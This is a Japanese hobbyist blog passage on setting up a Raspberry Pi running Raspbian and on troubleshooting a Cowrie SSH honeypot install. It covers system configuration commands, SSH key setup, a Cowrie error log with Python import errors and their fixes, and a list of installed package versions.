$ umount /dev/mmcblk0p2

書き込み

パーティーションの番号を指定せずにddコマンドで書き込みを行います。少し時間がかかるのでコーヒーでも入れて待ちましょう。 僕はおしゃれにジントニックを作ってる間にできました。

$ sudo dd bs=4M if=2016-11-25-raspbian-jessie-lite.img of=/dev/mmcblk0

SDカードをアンマウント

syncコマンドでキャッシュを同期させてからSDカードを抜きましょう。

$ sync

初期設定

さて、Raspberry piの準備ができたところで初期設定を行いましょう。

初期設定では以下のことを行いたいと思います。 - SDカードの使用可能容量の拡張 - パッケージアップデート - piユーザー名とパスワードの変更 - host名の変更 - タイムゾーンの変更 - キーボード配列の変更 - IPアドレスの固定化 - 公開鍵認証でのssh設定 - ntpの設定

パッケージのアップデート

$ sudo apt-get update
$ sudo apt-get upgrade

piユーザーとパスワードの変更

こちらを参考にしました。

ユーザー名を変更するには、一度ログアウトして他のユーザーから操作する必要があります。

sudo useradd -M tmp # ホームディレクトリを作成せずに仮のユーザーを作成する
sudo gpasswd -a tmp sudo # tmpユーザをsudoグループに追加
sudo passwd tmp tmpユーザのパスワードを設定
exit

次に作成したtmpユーザーでログインし、piユーザーの設定を変更していきます。([YOUR USERNAME]には自分のユーザー名を入力します。)

sudo usermod -l admin pi # [YOUR USERNAME] ユーザ名をpiから変更
sudo usermod -d /home/[YOUR USERNAME] -m [YOUR USERNAME] # ホームディレクトリを/home/piから変更
sudo groupmod -n [YOUR USERNAME] pi # piグループを変更
exit

tmpユーザーを削除しましょう。

sudo userdel tmp # tmpユーザー削除
sudo passwd [YOUR USERNAME] # パスワードの変更

rootのパスワードも設定します。

sudo passwd root # rootのパスワードを変更
sudo visudo # パスワードなしでログインできないように"pi ALL=(ALL) NOPASSWD: ALL"を消す

jyn.jp

host名の変更、タイムゾーンの変更、キーボード配列の変更、wi-fiの国設定、SDカードの使用可能容量の拡張

$ sudo raspi-config
>    1.Expand filesystem --> SDカードの使用可能容量を拡張
>    7.Advanced Options
>      A2 Hostname --> hostname設定
>    4.Internationalisation Option 
>      I1 Change Locale - en_GB.UTF-8 UTF-8のチェックを外し、ja_JP.UTF-8 UTF-8を選択 --> 日本語表記
>      I2 Change timezone - Asia - Tokyo --> Timezoneの設定
>      I3 Change Keyboard Layout - Intel Generic 105 --> 日本語キーボードに設定
>      I4 Change Wi-fi Country - JP Japan --> Wi-fiの国設定

ここまで出来たらFinishを選択し、再起動します。

IPアドレスの固定化

以前までは/etc/network/interfacesを編集していましたが、Jessieからは/etc/dhcpdc.confに設定を記述します。

interface eth0
static ip_address=192.168.0.202/24
static routers=192.168.0.1
static domain_name_servers=192.168.0.1

公開鍵認証方式の設定

$ ssh-keygen -t rsa
# 適当にエンターキー押しておけばいいよ(めんどくさくなった)
$ cd ~/.ssh/
$ cat id_rsa.pub >> authorized_keys
$ chmod 600 authorized_keys

公開鍵をローカルにコピーします。

$ scp pi@192.168.0.202:~/.ssh/id_rsa ~/.ssh/

公開鍵使ってsshログインできたらおっけ〜

$ ssh -i ~/.ssh/id_rsa pi@192.168.0.202

.ssh/configファイルとかに設定記述しておくと、ssh [hogehoge]だけでログインできるので楽です。

$ cat .ssh/config 
Host hogehoge
  HostName 192.168.0.202
  Port 22
  User hugahuga
  IdentityFile ~/.ssh/raspberry-pi

はい、完成!(適当)

Raspbery piにcowrieを入れる際にハマったこと

はじめに

ラズベリーパイハニーポットであるCowrieを導入する際にハマったメモ。

深夜に勢いで書いてるのでとても読みにくい文章ですまない。

ハニーポット

ジャンクさんの記事を参考にしてください。

junk-coken.hatenablog.com

junk-coken.hatenablog.com

kippoよりcowrieの方がオススメなのにはこんな理由もあるっぽい

atani.github.io

Cowrieのセットアップ

以下のリンクを参考にしました。というか、README.mdを参考にした。

cowrie.cgfはhostnameとsensor_nameだけ変更した。

shinayoshi's note

途中、start.shを実行するとImportError: No module named configparserとか言われたので、

$ sudo apt-get python-configparser

後からのエラー対処でもそうなのだが、pipからインストールしても認識されてない???pathは通してたはずなんだけど。これは未確認だが、最終的にすべてaptからインストールできてちゃんと動作した。

後から調べたら

ecoha0630.hatenablog.com

このブログでtwistedのバージョンについて書いてあった。15.3でエラーを吐いて15.2にしているので、新しくなったmoduleにまだ追いついてないのだろうか。僕の環境では確かめていなかった。後で調べたので使用したmoduleのバージョンを記事の最後に載せておく。

とりあえずは、cowrieが起動できた。

Password入力してから動かない

cowrieのセットアップ終わって、起動できたし接続してみるぞ!と手元のmacsshして繋いでみた。

まず、Password入力のプロンプト出るまでに何秒かかるんだ....って感じで、Password入力後は反応がなく、フリーズしてしまった。

そこで、ssh接続のログを確認してみようと思い、/home/cowrie/cowrie/log/cowrie.logを見てみた。

以下問題のlog

2016-12-13 03:31:07+0900 [cowrie.ssh.factory.CowrieSSHFactory] New connection: 192.168.0.10:63868 (192.168.0.202:2222) [session: 6c03cb63]
2016-12-13 03:31:07+0900 [HoneyPotSSHTransport,1,192.168.0.10] Remote SSH version: SSH-2.0-OpenSSH_6.9
2016-12-13 03:31:07+0900 [HoneyPotSSHTransport,1,192.168.0.10] kex alg, key alg: diffie-hellman-group-exchange-sha1 ssh-rsa
2016-12-13 03:31:07+0900 [HoneyPotSSHTransport,1,192.168.0.10] outgoing: aes128-ctr hmac-sha1 none
2016-12-13 03:31:07+0900 [HoneyPotSSHTransport,1,192.168.0.10] incoming: aes128-ctr hmac-sha1 none
2016-12-13 03:32:21+0900 [HoneyPotSSHTransport,1,192.168.0.10] NEW KEYS
2016-12-13 03:32:21+0900 [HoneyPotSSHTransport,1,192.168.0.10] starting service ssh-userauth
2016-12-13 03:32:21+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] root trying auth none
2016-12-13 03:32:21+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] root trying auth publickey
2016-12-13 03:32:21+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] public key attempt for user root with fingerprint 1b:5a:
fc:b3:3c:a7:46:3c:99:01:10:0a:fb:19:6e:ef
2016-12-13 03:32:21+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] root failed auth publickey
2016-12-13 03:32:21+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] reason: ('Incorrect signature', None)
2016-12-13 03:32:21+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] root trying auth keyboard-interactive
2016-12-13 03:32:25+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] login attempt [root/admin] succeeded
2016-12-13 03:32:29+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] root authenticated with keyboard-interactive
2016-12-13 03:32:29+0900 [SSHService ssh-userauth on HoneyPotSSHTransport,1,192.168.0.10] starting service ssh-connection
2016-12-13 03:32:29+0900 [SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] got channel session request
2016-12-13 03:32:29+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] channel open
2016-12-13 03:32:29+0900 [SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] got global no-more-sessions@openssh.com request
2016-12-13 03:32:29+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] pty request: xterm-256color (24, 80, 480, 312)
2016-12-13 03:32:29+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] Terminal Size: 24 80
2016-12-13 03:32:29+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] request_env: LANG=ja_JP.UTF-8
2016-12-13 03:32:29+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] getting shell
2016-12-13 03:32:29+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] Opening TTY Log: log/tty/20161213-033229-6c03cb63-0i.log
2016-12-13 03:32:30+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] Unhandled Error
        Traceback (most recent call last):
          File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 73, in callWithContext
            return context.call({ILogContext: newCtx}, func, *args, **kw)
          File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
            return self.currentContext().callWithContext(ctx, func, *args, **kw)
          File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
            return func(*args,**kw)
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/channel.py", line 137, in requestReceived
            return f(data)
        --- <exception caught here> ---
          File "/usr/lib/python2.7/dist-packages/twisted/conch/ssh/session.py", line 53, in request_shell
            self.session.openShell(pp)
          File "/home/cowrie/cowrie/cowrie/ssh/session.py", line 125, in openShell
            self.protocol.makeConnection(processprotocol)
          File "/usr/lib/python2.7/dist-packages/twisted/internet/protocol.py", line 481, in makeConnection
            self.connectionMade()
          File "/home/cowrie/cowrie/cowrie/insults/insults.py", line 77, in connectionMade
            insults.ServerProtocol.connectionMade(self)
          File "/usr/lib/python2.7/dist-packages/twisted/conch/insults/insults.py", line 414, in connectionMade
            self.terminalProtocol = self.protocolFactory(*self.protocolArgs, **self.protocolKwArgs)
          File "/home/cowrie/cowrie/cowrie/core/protocol.py", line 236, in __init__
            HoneyPotBaseProtocol.__init__(self, avatar)
          File "/home/cowrie/cowrie/cowrie/core/protocol.py", line 51, in __init__
            globals(), locals(), ['commands'])
          File "/home/cowrie/cowrie/cowrie/commands/tftp.py", line 5, in <module>
            import tftpy
        exceptions.ImportError: No module named tftpy
        
2016-12-13 03:36:48+0900 [HoneyPotSSHTransport,1,192.168.0.10] Got remote error, code 11
        reason: disconnected by user
2016-12-13 03:36:48+0900 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotSSHTransport,1,192.168.0.10] Closing TTY Log: log/tty/20161213-033229-6c03cb63-0i.log after 258 seconds
2016-12-13 03:36:48+0900 [HoneyPotSSHTransport,1,192.168.0.10] avatar root logging out
2016-12-13 03:36:48+0900 [HoneyPotSSHTransport,1,192.168.0.10] connection lost
2016-12-13 03:36:48+0900 [HoneyPotSSHTransport,1,192.168.0.10] Connection lost after 341 seconds

またexceptions.ImportError: No module named tftpyって出てたので、

$ sudo apt-get install python-tftpy

これでちゃんとログインできた。

ポートフォワーディング

後はポートフォワードするだけだが、iptablesはよくわかってないのでufwでやることにする。 今日はもう寝る。

追記

twistedのバージョンは14.0.2が入ってるっぽい。

>>> import pkg_resources
>>> for dist in pkg_resources.working_set:
...     print(dist.project_name, dist.version)
... 
('wsgiref', '0.1.2')
('argparse', '1.2.1')
('Python', '2.7')
('Twisted-News', '14.0.2')
('gmpy', '1.15')
('Twisted-Names', '14.0.2')
('gmpy2', '2.0.3')
('python-apt', '0.9.3.12')
('Twisted-Runner', '14.0.2')
('Twisted-Core', '14.0.2')
('MySQL-python', '1.2.3')
('zope.interface', '4.1.1')
('tftpy', '0.6.0')
('configparser', '3.3.0r2')
('RPi.GPIO', '0.6.3')
('Twisted', '14.0.2')
('characteristic', '0.1.0')
('PAM', '0.4.2')
('pycrypto', '2.6.1')
('pyasn1', '0.1.7')
('Twisted-Conch', '14.0.2')
('Twisted-Web', '14.0.2')
('numpy', '1.8.2')
('service-identity', '1.0.0')
('Twisted-Words', '14.0.2')
('Twisted-Lore', '14.0.2')
('pyOpenSSL', '0.13.1')
('pyasn1-modules', '0.0.5')
('Twisted-Mail', '14.0.2')
('pyserial', '2.6')
>>> 

バカ

調べてる時に見つけたこのリンク Authentication takes long time · Issue #81 · micheloosterhof/cowrie · GitHub

から、ラズパイ使ってる人がこのパッケージ入れるとイイ感じに動いてるよ!みたいなのを見つけて、頭が働いてなかったので

$ sudo apt-get install python-gmp*

これを実行した。

最終的にこんなになった

0 upgraded, 96 newly installed, 0 to remove and 0 not upgraded.
Need to get 56.3 MB of archives.
After this operation, 212 MB of additional disk space will be used.
Do you want to continue? [Y/n]

python-numpyとかも入ってたから、多分全部のパッケージインストールしたんでは。アホか。

でも実際に入れてみると早くなっていたので、必要なパッケージだけ残してあとは捨てよう.....

やること

  • MySQL(mariaDB)と接続させてログを管理、可視化していきたい(kippo-graphとか気になる)
  • ポートフォワードの設定(明日やれ)
  • pastebinとかにアップするとアクセス増えるらしいので、新年はマルウェア採集したい

クリスマスプレゼントはサンタさんにマルウェアをよろしく頼む。

参考

github.com shinayoshi's note cowrie won't start, No module named configparser · Issue #272 · micheloosterhof/cowrie · GitHub Authentication takes long time · Issue #306 · micheloosterhof/cowrie · GitHub Authentication takes long time · Issue #81 · micheloosterhof/cowrie · GitHub exceptions.ImportError: No module named tftpy · Issue #343 · micheloosterhof/cowrie · GitHub